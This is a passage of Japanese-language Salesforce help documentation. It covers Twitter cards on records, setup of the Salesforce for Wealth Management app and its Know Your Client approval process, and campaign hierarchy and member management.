• 組織のソーシャルネットワークの有効化をシステム管理者に依頼してく

ださい。
• 個人設定を確認し、ログインのネットワークの有効化を行ってください。

4. 特定のレコードのソーシャルデータを表示できるかどうかは、そのレコード
に対する権限、およびソーシャルプロファイルのプライバシー設定によって
決まります。

Salesforce Lightning Experience

1. 取引先、取引先責任者、またはリードレコードの詳細ページを開きます。
2. Twitter カードが表示されない場合は、組織の [ソーシャル取引先、取引先責任者、およびリード] 機能が無

効になっている可能性があります。組織の機能および Twitter アクセスの有効化をシステム管理者に依頼し
てください。

3. 機能は有効になっているが Twitter カードが表示されない場合は、個人設定の確認を行ってください。

Salesforce1

1. 取引先、取引先責任者、またはリードレコードの詳細ページを開きます。
2. Twitter カードが表示されない場合は、次の作業を行います。

• [ソーシャル取引先、取引先責任者、およびリード] 機能の有効化をシステム管理者に依頼する。
• 組織の Twitter アクセスの有効化をシステム管理者に依頼する。
• 取引先、取引先責任者、およびリードのモバイルページレイアウトへの Twitter カードの追加をシステム

管理者に依頼する。
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• 個人設定の確認を行い、ログインに対して Twitter が有効になっていることを確認する。

関連トピック:

[ソーシャル取引先、取引先責任者、およびリード] の有効化
[ソーシャル取引先、取引先責任者、およびリード] の設定
ソーシャル取引先、取引先責任者、およびリード

金融サービス向け富裕層顧客の開拓

Salesforce for Wealth Management の概要

Salesforce for Wealth Management とは?

Salesforce for Wealth Managementは、ウェルスマネジメント業界向けに設計およびカスタマイズされた業種ソリュー
ションです。

Salesforce for Wealth Management の利用者
Salesforce for Wealth Managementは、富裕層のクライアントにアドバイスを行うウェルスマネジメントの専門家を
対象とします。このソリューションを使用すると、クライアントとの関係が深まり、主要なシステムの統合に
よってユーザの導入が促され、法規の遵守を効率的にサポートできます。

Salesforce for Wealth Management の入手方法
Enterprise Edition、Unlimited Edition、および Performance Edition については、AppExchange から Salesforce for Wealth

Management を無料で使用できます。正式リリースされた Enterprise Edition、Unlimited Edition、および Performance

Edition のすべての機能 (Outlook インテグレーション、ワークフロー、Force.com API など) を備えています。前提
条件として、ファイナンシャルサービスなど企業対消費者取引を行う業種向けに拡張設計された取引先レコー
ドの個人取引先が必要です。

Salesforce for Wealth Management に含まれる機能
Salesforce for Wealth Management は、標準の Salesforce 機能とは一線を画す次のコンポーネントを備えています。
• 使いやすいタブとクライアント指向の項目
• 金融口座、投資の選好、住所、個人的な関心など、包括的なクライアント情報
• 自動承認プロセスが付いた包括的な「クライアント掌握」適性フォーム
• ウェルスマネジメントプロセスに固有のレポートおよびダッシュボード
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• リレーショングループ (別称「世帯」)

関連トピック:

Salesforce for Wealth Management の使用開始
Salesforce for Wealth Management アプリケーションの操作

Salesforce for Wealth Management の使用開始

ユーザ権限

カスタムアプリケーショ
ンの設定オプションを参
照する
• 「設定・定義を参照す

る」

カスタムアプリケーショ
ンを管理する
• 「アプリケーションの

カスタマイズ」

システム管理者は、組織に Salesforce for Wealth Management を設定するために次の
作業を実行します。

Salesforce for Wealth Management アプリケーションの内容の確認
Salesforce for Wealth Management カスタムアプリケーションに正しいタブが含まれ
ていることを確認します。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. リストの [Salesforce for Wealth Management] をクリックします。
3. [含まれるタブ] リストに次のタブがあることを確認します。

• ホーム
• 取引先
• Financial Accounts (金融口座)

• Holdings (保有資産)

• WM Assets (WM 資産)

• Client Interests (クライアントの関心)

• Know Your Clients (クライアント掌握)

• レポート
• ダッシュボード
• ドキュメント
• コンソール

4. 必要に応じて [編集] をクリックし、適切なタブを選択して追加または削除します。

ユーザのアプリケーション選択肢の設定
Force.com アプリケーションメニューでは、メインの Salesforce for Wealth Management カスタムアプリケーション
のほか、次のカスタムアプリケーションも使用できます。
• Salesforce Financial Accounts & Holdings

• Salesforce Clients and Interests

• Salesforce Know Your Client
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メインの Salesforce for Wealth Management カスタムアプリケーションに適切なタブがすべてまとめられているた
め、必要に応じて、Force.comアプリケーションメニューのこれらのアプリケーションをユーザに非表示にする
ことができます。上記のアプリケーションを非表示にする手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「アプリケーション」と入力し、[アプリケーション]を選択します。
2. 該当するアプリケーション名の横にある [編集] をクリックします。
3. [プロファイルへの割り当て] 領域で、エンドユーザのプロファイルに対応する [参照可能] 列のチェック

ボックスをオフにします。システム管理者のプロファイルに対応するチェックボックスのみをオンにしま
す。

4. [保存] をクリックします。
5. 上記の残りのカスタムアプリケーションについても、必要に応じてこの手順を繰り返します。

レコードタイプの確認
個人取引先のオブジェクト管理設定から、[レコードタイプ] に移動して、個人取引先 (クライアント) で次のレ
コードタイプが使用できることを確認します。
個人

このレコードタイプは、クライアントや見込み客に使用します。[個々]ページレイアウトに割り当てられ
ます。

プロフェッショナルリレーション
このレコードタイプは、弁護士、会計士、その他の専門職の関係者に使用します。[プロフェッショナルリ
レーション] ページレイアウトに割り当てられます。

ユーザのページレイアウトの設定
ユーザのページレイアウトに次のコンポーネントが含まれていることを確認します。この設定は、[ページレ
イアウト] に移動して、各オブジェクトの管理設定から行います。
[ホーム] タブのページレイアウト

「FA Home Page (FA ホームページ)」というファイナンシャルアドバイザー向けのホームページレイアウトに
は、次のコンポーネントが含まれます。
• 未承認申請
• ToDo

• Calendar

• ダッシュボードのスナップショット
• Search

• 新規作成
• 最近使ったデータ
• お知らせ
• カスタムリンク

個人取引先ページレイアウト
個人取引先 (クライアント) のページレイアウトには、次の関連リストが含まれます。
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• Financial Accounts (金融口座)

• Holdings (保有資産)

• Client Interests (クライアントの関心)

• Know Your Clients (クライアント掌握)

• 活動予定
• 活動履歴
• パートナー
• 取引先チーム
• メモ & 添付ファイル

クライアント掌握の承認プロセスの確認
Salesforce for Wealth Managementには、[Know Your Clients (クライアント掌握)] フォームを適切な Salesforceユーザに転
送して承認を受ける承認プロセスが用意されています。

関連トピック:

Salesforce for Wealth Management の概要
ウェルスマネジメントのクライアント管理
オブジェクト管理設定の検索

クライアント掌握の承認プロセスの管理

ユーザ権限

承認プロセスを作成、編
集、削除、またはコピー
する
• 「アプリケーションの

カスタマイズ」

承認プロセスを表示する
• 「設定・定義を参照す

る」

クライアント掌握の承認プロセスについて
承認プロセスでは、Salesforce でレコードを承認する方法を自動化します。承認
プロセスでは、承認申請者やプロセスの各ポイントでの実行内容など、承認の
各ステップについて指定します。
クライアント掌握の承認プロセスは Salesforce for Wealth Management に含まれ、概
して次のとおり定義されています。
1. ファイナンシャルアドバイザーが新しいクライアント掌握レコードを作成し

ます。

メモ: 付属の差し込み印刷テンプレートを使用して、保存済みのクライ
アント掌握レコードのデータを印刷可能な Microsoft Word ドキュメントに
マージできます。

2. ファイナンシャルアドバイザーがクライアント掌握レコードの承認を申請します。この時点で次のアクショ
ンが実行されます。
• クライアント掌握レコードがロックされ、編集できなくなります。
• [KYC Approval Status (KYC 承認状況)] が「未承認」になります。
• [Date Know Your Client Submitted (クライアント送信日)] が今日に設定されます。
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• クライアント掌握レコードタイプが「KYC Submitted (KYC 申請済み)」になります。
• 承認申請が適切なSalesforceユーザに転送され、本人にも適切なメールテンプレートを使用したメール通

知が送信されます。

3. 上級ファイナンシャルアドバイザーが申請を承認または却下し、その時点で次のアクションが実行されま
す。
• レコードは引き続きロックされ、編集できません。
• [KYC Approval Status (KYC 承認状況)] が「承認済み」または「却下」になります。
• [Date KYC Approved/Rejected (KYC 承認日/却下日)] が今日に設定されます。
• レコードが承認された場合は、ファイナンシャルアドバイザーが 6 か月かけてクライアント掌握フォー

ムを確認するフォローアップタスクがスケジュールされます。

クライアント掌握の承認プロセスの有効化
クライアント掌握の承認プロセスを有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「承認プロセス」と入力し、[承認プロセス] を選択します。
2. [承認プロセスを管理するオブジェクト] ドロップダウンリストで、[Know Your Client (クライアント掌握)] を選

択します。
3. 承認プロセス名の横にある [有効化] をクリックします。

関連トピック:

Salesforce for Wealth Management の概要
ウェルスマネジメントのクライアント管理

Salesforce for Wealth Management アプリケーションの操作
Salesforce for Wealth Managementアプリケーションにアクセスするには、Salesforceページの右上にある Force.comア
プリケーションメニューに移動して、Salesforce for Wealth Managementを選択します。いずれかの作業を開始する
には、目的のタブをクリックします。

関連トピック:

Salesforce for Wealth Management の概要
ウェルスマネジメントのクライアント管理
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ウェルスマネジメントのクライアント管理

ユーザ権限

[Clients (クライアント)] タ
ブを参照する
• 取引先に対する「参

照」

クライアントを参照する
• 取引先に対する「参

照」

クライアントを作成する
• 取引先と取引先責任者

に対する「作成」

クライアントは、Salesforce for Wealth Management でのみ使用できます。クライア
ントとは、ユーザがアドバイスや取引を行う相手、取引を行う可能性のある見
込み客、会計士や弁護士など専門職の関係者をいいます。クライアントは [Clients

(クライアント)] タブで管理できます。Salesforce の標準の用語ではクライアント
のことを「取引先」といいますが、Salesforce for Wealth Management では「クライ
アント」といいます。
クライアントには、取引先レコードのすべての機能が備わっています。
さらに、クライアントには次の特別な機能があります。
クライアントレコードタイプ

レコードタイプとは、レコードを整理するためのカテゴリです。クライアン
トレコードは、次のレコードタイプに割り当てることができます。
• 「ビジネス」には、法人や信託が該当します。
• 「個人」には、既存のクライアントや見込み客が該当します。
• 「プロフェッショナルリレーション」には、弁護士、会計士、その他の専門職の関係者が該当します。

[Client (クライアント)] リストビュー
[Client (クライアント)] タブのリストビューを使用すると、さまざざまな方法で分類したクライアントに簡単
にアクセスできます。たとえば、[My A Clients (私の A クライアント)] を選択すると、「A」評価のクライアン
トのリストが表示されます。

クライアントの詳細
クライアントの詳細ページには、ウェルスマネジメントのクライアント向けに調整された一連の項目が表
示されます。たとえば、クライアントの好みを各種のカテゴリに記録するセクションでは、クライアント
が別荘、中型株、小売業界や娯楽業界、ゴルフ、米国の政治の分野に関心があることを記録できます。

[Financial Accounts (金融口座)] 関連リスト
[Financial Accounts (金融口座)] 関連リストには、口座名、口座番号、時価など、クライアントの金融口座の概
要が示されます。この情報は、[Financial Accounts (金融口座)] タブのレコードから取得されます。

[Holdings (保有資産)] 関連リスト
[Holdings (保有資産)] 関連リストには、ファンド、株式、債券など、クライアントが保有する資産の概要が
示されます。保有資産ごとに、市場価格、終値、購入価格、株式数などの価値を表示できます。この情報
は、[Holdings (保有資産)] タブのレコードから取得されます。保有資産はそれぞれ金融口座レコードに関連
付けられています。

[Client Interests (クライアントの関心)] 関連リスト
[Client Interests (クライアントの関心)] 関連リストには、クライアントが売買に関心を示している証券の概要
が示されます。この情報は、[Client Interests (クライアントの関心)] タブのレコードから取得されます。

[Know Your Clients (クライアント掌握)] 関連リスト
[Know Your Clients (クライアント掌握)] 関連リストには、クライアントに関連付けられた [Know Your Clients (クラ
イアント掌握)] フォームの概要が示されます。この情報は、[Know Your Clients (クライアント掌握)] タブのレ
コードから取得されます。
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[Relationships (リレーション)] 関連リスト
リレーションとは、配偶者、子、会計士、弁護士など、クライアントの人生に関与する別のクライアント
をいいます。リレーションは、クライアントの詳細ページの [Relationships (リレーション)] 関連リストに記録
されます。この関連リストはオプションとして使用できます。Salesforce の標準の用語では、リレーション
のことを「パートナー」といいます。ただし、Salesforce for Wealth Management では「リレーション」といい
ます。

[Client Team (クライアントチーム)] 関連リスト
[Client Team (クライアントチーム)] 関連リストには、特定のクライアントの管理を担当するファイナンシャ
ルアドバイザーとその他のSalesforceユーザが記録されます。Salesforceの標準の用語では、クライアントチー
ムのことを「取引先チーム」といいます。ただし、Salesforce for Wealth Management では「クライアントチー
ム」といいます。

[Relationship Group Members (リレーショングループメンバー)] 関連リスト
[Relationship Group Members (リレーショングループメンバー)] 関連リストには、クライアントがその一員であ
るリレーショングループが表示されます。この関連リストはオプションとして使用でき、一部の組織では
「世帯メンバー」といいます。

関連トピック:

Salesforce for Wealth Management の概要
Salesforce for Wealth Management アプリケーションの操作

Salesforce for Wealth Management レポートおよびダッシュボード

ユーザ権限

レポートを実行する
• 「レポート実行」

および

レポートに表示されて
いるレコードに対する
「参照」

ダッシュボードを参照す
る
• 「レポート実行」

および

ダッシュボードフォル
ダを参照するためのア
クセス権

Salesforce for Wealth Management レポート
Salesforce for Wealth Managementには業種固有のレポートが用意され、[レポート] タ
ブの次のフォルダに分類されています。
• Client Reports (クライアントレポート)

• Client Interest Reports (クライアントの関心レポート)

• Financial Account Reports (金融口座レポート)

• Holdings and WM Asset Reports (保有資産および WM 資産レポート)

• Know Your Client Reports (クライアント掌握レポート)

上記のレポートにアクセスするには、[レポート] タブのドロップダウンリストか
ら適切なフォルダを選択し、該当するレポート名をクリックします。

Salesforce for Wealth Management ダッシュボード
Salesforce for Wealth Management は、クライアントリストを分析できる金融口座の
ダッシュボードなど、業種固有のダッシュボードを備えています。これらのダッ
シュボードにアクセスするには、[ダッシュボード] タブに移動して、ドロップダウンリストから該当するダッ
シュボード名を選択します。
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メモ:  [ホーム] タブでダッシュボードのスナップショットを確認できます。

関連トピック:

Salesforce for Wealth Management の概要
Salesforce for Wealth Management アプリケーションの操作

顧客のリレーショングループの設定

キャンペーンおよびリードの生成

キャンペーンの計画、管理、および追跡

キャンペーン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ダイレクトメールプログラム、セミナー、印刷広告、メール、またはその他の
種類のマーケティング資料を使用する外部向けマーケティングキャンペーンを
管理します。キャンペーンを分析しやすいように階層に整理して、何が会社の
売上増加に最も効果があるかを確認できます。
Salesforce でのキャンペーンの迅速な検索、管理、レポート作成が容易になりま
した。

関連トピック:

キャンペーンホームページ
キャンペーンを管理するための 5 つのステップ
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キャンペーンホームページ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[キャンペーン] タブを参照
する
• キャンペーンに対する

「参照」

キャンペーンを参照する
• キャンペーンに対する

「参照」

キャンペーンを作成する
• キャンペーンに対する

「作成」

[キャンペーン] タブをクリックすると、キャンペーンホームページが表示されま
す。どのユーザでもキャンペーンホームページにアクセスできます。
• 項目の絞り込みリストを表示するには、[表示] ドロップダウンリストから

事前定義済みのリストを選択するか、[新規ビューの作成] をクリックして、
自分専用のカスタムビューを定義します。作成したビューを編集または削除
するには、[表示]ドロップダウンリストから選択し、[編集]をクリックしま
す。

• [最近使ったキャンペーン] セクションのドロップダウンリストから項目を選
択すると、検索基準に一致する上位のキャンペーンの簡略リストが表示され
ます。リストのキャンペーン名をクリックすると、そのキャンペーンの詳細
に直接移動できます。表示する項目数を変更するには、[25 件表示する]と[10

件表示する] を切り替えます。表示される項目は、システム管理者が定義し
た [キャンペーン] タブの検索レイアウトおよび項目レベルセキュリティ設定
(Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、およ
び Developer Edition Edition で利用可能) によって決まります。[最近使ったドキュ
メント] の選択項目は次のとおりです。

説明[最近使ったドキュメント] の選択項
目

最近参照した 10 件または 25 件のキャ
ンペーンです。最後に参照したキャ
ンペーンがリストの一番上に表示さ
れます。このリストは、最近自分が
参照した項目から作成され、自分ま
たは他のユーザが所有するレコード
が含まれます。

最近参照したデータ

最近有効に設定した 10 件または 25 件
のキャンペーンです。最後に作成し

私の有効なキャンペーン

たキャンペーンがリストの一番上に
表示されます。このリストには、自
分が所有するレコードのみが含まれ
ます。

• [最近使ったキャンペーン]セクションから、[新規]をクリックすると、新規キャンペーンが作成できます。
• [レポート] でレポート名をクリックすると、そのレポートに移動できます。

関連トピック:

キャンペーン
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キャンペーン階層の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キャンペーンを参照する
• キャンペーンに対する

「参照」

キャンペーン階層により、特定のマーケティングプログラムやマーケティング
活動内でキャンペーンをグループ化でき、関連するマーケティング活動をより
効率的に分析できます。
キャンペーンの階層を表示するには、キャンペーン詳細ページの [キャンペーン
名] 項目の横にある [階層の表示] をクリックしてください。キャンペーンが階
層の一部でない場合、対応するキャンペーン階層ページには、選択したキャン
ペーンのみが表示されます。
キャンペーン階層には、[親キャンペーン] 項目によって相互に関連付けられて
いるキャンペーンが表示されます。階層は、特定のマーケティング戦略内のキャ
ンペーンのグループなど、キャンペーン間のリレーションを表します。各キャ
ンペーンに対して設定できる親キャンペーンは 1 つだけですが、子キャンペー
ンの数は無制限で、キャンペーン階層には、最大 5 レベル/世代まで表示できま
す。言い換えれば、キャンペーン階層の最大深度は 5 レベルでも、各レベルの
幅に制限はないということです。取引先責任者やリードなどのキャンペーンメ
ンバーは、任意のレベルに含めることができます。
キャンペーン階層ページでは、キャンペーンはその上のキャンペーンの下にイ
ンデントされて表示されます。キャンペーンは、階層レベルに基づいて降順で
表示されます。キャンペーン名をクリックすると、そのキャンペーンの詳細ペー
ジが表示されます。
個々のキャンペーンの統計情報は、キャンペーンの詳細ページの [キャンペーン統計情報] セクションにありま
す。親キャンペーンと子キャンペーンの階層統計は、[キャンペーン階層] 関連リストにあります。

メモ: 正確なレポートを作成するには、階層内のすべてのキャンペーンが同じ通貨を使用する必要があり
ます。

関連トピック:

キャンペーン階層の設定
キャンペーン階層統計の表示
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キャンペーン階層統計の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キャンペーンを参照する
• キャンペーンに対する

「参照」

キャンペーン階層を参照
する
• キャンペーンに対する

「参照」

キャンペーン詳細ページには、[キャンペーン階層] 関連リストが表示され、その
キャンペーン階層の親キャンペーンと、その直下にあるすべてのキャンペーン
が表示されます。キャンペーン階層を作成するには、キャンペーン詳細ページ
の [親キャンペーン] 参照項目を使用して、キャンペーンを相互に関連付けま
す。関連リストのキャンペーンをクリックすると、そのキャンペーンの詳細ペー
ジが表示されます。
[キャンペーン階層] 関連リストには、リスト内の各キャンペーンの統計項目と
キャンペーン階層内の親キャンペーンとその下位キャンペーンすべてを合わせ
た値が表示されます。統計項目は、組織でキャンペーン階層が有効になるまで
は、関連リストには表示されません。詳細および項目の一覧については、「キャ
ンペーン階層の設定」 (ページ 1548)を参照してください。
[キャンペーン階層] 関連リストには、親キャンペーンと子キャンペーンという 2

つの階層レベルの最大値が表示されます。子キャンペーンにさらに子キャンペー
ンがある場合、下位の子キャンペーンは関連リストに表示されませんが、その
データはキャンペーン階層統計項目値に含まれます。キャンペーン階層統計項
目は、その階層内の個々のキャンペーンの参照権限を持っているかどうかに関
係なく、データを集計して表示します。ただし、関連リストに表示されるキャ
ンペーンに対するアクセス権を持っていない場合は、関連リストのリンクから
詳細ページを表示できません。キャンペーン階層内のすべてのレベルを表示す
るには、キャンペーン詳細ページの [キャンペーン名] の横にある [階層の表示]

リンクをクリックしてください。

関連トピック:

キャンペーンの表示と編集
キャンペーンの項目
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キャンペーンの表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キャンペーンリストを参
照する
• キャンペーンに対する

「参照」

キャンペーンを変更する
• キャンペーンに対する

「編集」

および

[マーケティングユー
ザ] チェックボックス
がオンになっているこ
と

キャンペーンの表示
キャンペーンのホームページまたはリストページでキャンペーンを指定し、
キャンペーン名をクリックすると、詳細情報が表示されます。または、関連
付けられているリード、取引先責任者、または個人取引先の [キャンペーン
履歴] 関連リストで、キャンペーン名を選択することもできます。詳細のフ
ロート表示が有効になっている場合、詳細ページで参照項目の上にカーソル
を置くと、クリックしてレコードの詳細ページに入る前に、レコードに関す
る情報を表示できます。

キャンペーンの編集
キャンペーンを更新するには、[編集] をクリックして、更新する項目を変更
します。変更が完了したら、[保存] をクリックします。変更したキャンペー
ンを保存して、別のキャンペーンを新規作成するには、[保存 & 新規]をクリッ
クします。
詳細ページで項目を直接編集するには、インライン編集を使用します。イン
ライン編集が有効になっていない場合は、システム管理者にお問い合わせく
ださい。

メモ: 他のキャンペーンの子であるキャンペーンを編集するには、少な
くともその親の「参照」アクセス権を持っている必要があります。

キャンペーン階層の作成
キャンペーンを作成または編集するときには、[親キャンペーン]参照項目を
使用して、キャンペーンに親を割り当てることができます。ルックアップダ
イアログでは、既存のキャンペーンを検索することも、新しい親キャンペー
ンを作成することもできます。組織のキャンペーン階層の設定方法について
の詳細は、「キャンペーン階層の設定」 (ページ 1548)を参照してください。

キャンペーン統計情報の計算
キャンペーンの詳細情報には、キャンペーン統計項目があります。これらの
項目には、そのレコードへの参照アクセス権を持っているかどうかに関係なく、すべての関連レコードの
値が含まれています。キャンペーン階層を有効にしている場合、[キャンペーン階層] 関連リストには、親
キャンペーンの階層統計とキャンペーン階層でその下位にあるキャンペーンが表示されます。

メモ: キャンペーン統計情報の計算処理は 2 分ごとに実行され、一度に 1 つのキャンペーンの統計情報
が処理されます。大量のキャンペーンや未承認のキャンペーンメンバーが大量に存在するキャンペー
ンがあると、10 分以上遅れる場合があります。

取引先、リードまたは個人取引先のキャンペーンへのリンク付け
キャンペーンの詳細ページの [メンバーの管理] ドロップダウンボタンから、オプションを選択します。

高度な設定
[高度な設定]をクリックして、キャンペーンに対する [メンバーの状況]の値をカスタマイズします。「キャ
ンペーン設定のカスタマイズ」 (ページ 1547)を参照してください。
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[キャンペーン] 関連リスト
• 詳細ページの最上部にあるリンクの上にカーソルを置くと、対応する関連リストとそのレコードが表示

されます。Chatterが有効化されると、フロート表示リンクがフィードの下に表示されます。対話形式の
フロート表示を使用して、ユーザは関連リストの項目を簡単に表示、管理できます。フロート表示リン
クをクリックすると、関連リストのコンテンツにジャンプできます。フロート表示リンクが有効になっ
ていない場合は、Salesforce のシステム管理者にお問い合わせください。

• 詳細情報の下部には、活動、添付ファイル、キャンペーンメンバー、キャンペーン階層、およびキャン
ペーンから移行した商談を含むキャンペーン関連情報が表示されます。表示される関連リストは、ユー
ザが行った個人用のカスタマイズ設定、および管理者が行ったページレイアウトのカスタマイズ設定や
関連データに対するユーザの権限によって異なります。それぞれの情報をクリックすると、詳細を表示
できます。表示する件数を増やすには、ページの下部にある[さらに表示]または関連リストの下にある
[さらに表示] をクリックします。

キャンペーンの印刷
キャンペーンのすべての情報についての印刷用表示を参照するには、キャンペーンの詳細ページから[印刷
用に表示] をクリックします。表示内容を印刷するには、ブラウザの印刷機能を使用します。

共有
キャンペーンを他のユーザ、グループ、またはロールと共有するには [共有] をクリックします。「キャン
ペーンの共有」 (ページ 1576)を参照してください。

最後に表示したビューに戻るには、キャンペーンの詳細ページの上部にある[最後に開いたビューへ]をクリッ
クします。折りたたみ可能なセクションを組織が有効にした場合、ユーザは、各詳細ページのセクションヘッ
ダーの横にある矢印アイコンを使用して、詳細ページの各セクションを折りたたみまたは拡張します。
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キャンペーンへの個人メンバーの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キャンペーンメンバーを
追加またはコピーする
• キャンペーンに対する

「参照」

および

リードと取引先責任者
に対する「編集」

個々のキャンペーンメン
バーを編集する手順は、
次のとおりです。
• キャンペーンに対する

「参照」

および

リードまたは取引先責
任者に対する「参照」
または「編集」

取引先責任者、リード、個人取引先の詳細ページから個々のキャンペーンメン
バーを直接選択します。
1. 取引先責任者、リード、または個人取引先の詳細ページで [キャンペーンに

追加] をクリックします。
2. キャンペーンを指定します。
3. [キャンペーンメンバーの編集] ページで、キャンペーンメンバーの状況を指

定します。
4. 作業を保存します。
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キャンペーン設定のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キャンペーンを参照する
• キャンペーンに対する

「参照」

メンバーの状況値をカス
タマイズする
• キャンペーンに対する

「編集」

および

[マーケティングユー
ザ] チェックボックス
がオンになっているこ
と

キャンペーンごとに、マーケティングユーザは、リード、取引先責任者、また
は個人取引先のキャンペーンの [メンバーの状況] 値を定義する必要がありま
す。たとえば、カンファレンスの場合は「計画済み」、「メンバーに通知」、
「返事待ち」、「出席」といった値を定義できます。Lightning Experience では使
用できません。

キャンペーン設定のカスタマイズのユーザ権限
• キャンペーンの高度な設定は誰でも表示できます。ユーザは、次の場合に高

度な設定を編集できます。
– ユーザ一般情報で [マーケティングユーザ]チェックボックスがオンになっ

ていること
– キャンペーンに対する「編集」権限があること
– キャンペーンレコードに対して少なくとも作成・共有アクセス権がある

こと
– Salesforce Classic を使用していること

• メンバーの状況値を置き換えると、関連する取引先責任者またはリードに対
する共有アクセス権に関係なく、すべてのキャンペーンレコードが更新され
ます。

メンバーの状況値の定義
新規キャンペーンのメンバーの状況のデフォルト値は、「実施」と「レスポン
スあり」の 2 つです。この値を編集または作成できます。
1. キャンペーンの詳細ページで [高度な設定] をクリックします。
2. [編集] をクリックします。
3. 既存の項目を更新するか、新しい値を追加します。
4. エントリを追加するには [さらに追加] をクリックします。最大 50 件の項目を追加できます。
5. 1 つの項目を「デフォルト」値として選択します。
6. 「回答済み」として数える値を選択します。「回答済み」の値を持つメンバーは、キャンペーンの [レス

ポンス数] 項目に記録されます。

メモ:  [回答済み] チェックボックスを変更すると、大きな影響があります。[回答済み] チェックボック
スをオンにしたりオフにしたりすると、キャンペーン統計やキャンペーンメンバーの詳細がそれに
伴って変わります。具体的には、キャンペーンメンバーレコードの項目 [レスポンスあり]、[最終応
答日] および [最終更新日] が変わります。たとえば、「出席」という状況を処理し、[返答あり]

チェックボックスを選択すると、状況が「出席」である既存のキャンペーンメンバーがキャンペーン
統計の回答としてカウントされ、日付項目が更新されます。
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メンバーの状況値の置換
各キャンペーンメンバーの [メンバーの状況]の値を一括して置換できます。たとえば、「来場」より「出席」
がふさわしい値と判断したとします。
1. キャンペーンの詳細ページで [高度な設定] をクリックします。
2. [メンバーの状況の値] 関連リストの [置換] をクリックします。
3. 変更するメンバーの状況値を入力し、新しい値を選択します。
4. [保存] をクリックします。

メモ: キャンペーンメンバーの状況を置き換えても、積み上げ集計項目の再計算や、ワークフロー、トリ
ガ、または入力規則の起動は行われません。

キャンペーン階層の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キャンペーン階層を作成
する
• キャンペーンに対する

「作成」

および

ユーザの詳細ページで
[マーケティングユー
ザ]が有効になってい
ること

キャンペーン階層を設定
する
• 「アプリケーションの

カスタマイズ」

関連するキャンペーンの健全性を分析およびレポートできます。参照関係を使
用してキャンペーンを相互に関連付けることにより、特定のマーケティングプ
ログラムやマーケティング活動でキャンペーンをグループ化できます。
階層には最大 5 レベルが含まれます。各キャンペーンに対して設定できる親キャ
ンペーンは 1 つですが、子キャンペーンの数は無制限です。
キャンペーン階層を設定するには、[親キャンペーン] 項目をキャンペーンペー
ジレイアウトに追加し、キャンペーン階層統計項目を有効にします。
項目レベルセキュリティを使用して、項目を表示します。Salesforce の各項目を
表示すると、[キャンペーン階層] 関連リストの[階層内合計]セクションに項目の
値が表示されます。

メモ: ユーザがそのキャンペーン階層内の特定のキャンペーンの共有権限
を持っているかどうかに関係なく、キャンペーン階層項目には、親キャン
ペーンとそのキャンペーン階層配下のすべてのキャンペーンの集計データ
が示されます。そのため、キャンペーン階層項目を有効にする場合は、組
織のキャンペーン共有設定に留意してください。ユーザにアクセス権のな
いキャンペーンが含まれている階層の集計データを、権限のないユーザに
見せたくない場合には、[キャンペーン階層] 関連リストから任意またはす
べてのキャンペーン階層項目が削除されるように選択できます。キャンペー
ン階層項目を関連リストやページレイアウトに追加しなくても、これらの
項目にはレポートでアクセスできます。

キャンペーン階層が設定されると、ユーザは、[親キャンペーン] を使用して親
キャンペーンを作成して割り当て、[キャンペーン階層] ページまたは [キャンペー
ン階層] 関連リストで、その階層の詳細情報を参照できます。

メモ: 階層内のすべてのキャンペーンが同じ通貨を使用する必要がありま
す。

[キャンペーン階層] ページは、キャンペーンレコードの[キャンペーン名]の横に
ある[階層の表示]リンクからアクセスでき、このページには、階層内の全レベルと、各レベルに格納されてい
るキャンペーンが表示されます。詳細は、「キャンペーン階層の表示」 (ページ1542)を参照してください。[キャ
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ンペーン階層] 関連リストには、キャンペーン階層内の親キャンペーンとすべての下位キャンペーンの集計デー
タが表示されます。詳細は、「キャンペーン階層統計の表示」 (ページ 1543)を参照してください。

関連トピック:

キャンペーン設定のカスタマイズ
キャンペーンの項目
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キャンペーンメンバーの管理

複数のキャンペーンメンバーの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[既存のメンバー] タブを参
照する
• キャンペーンに対する

「編集」

および

リードまたは取引先責
任者に対する「参照」

および

[マーケティングユー
ザ] チェックボックス
がオンになっているこ
と

キャンペーンメンバーを
更新および削除する
• キャンペーンに対する

「編集」

および

リードと取引先責任者
に対する「編集」

および

[マーケティングユー
ザ] チェックボックス
がオンになっているこ
と

[メンバーの管理] ページからのキャンペーンメンバーの編集
メモ:  [メンバーの管理] ページを使用する前に、サポートされているブラウ
ザを使用していることを確認してください。

キャンペーンメンバーの状況の更新、キャンペーンメンバーの詳細の編集、ま
たは [メンバーの管理] ページからのキャンペーンメンバーの削除を行う手順は、
次のとおりです。
1. [メンバーの管理] をクリックし、キャンペーン詳細ページのドロップダウン

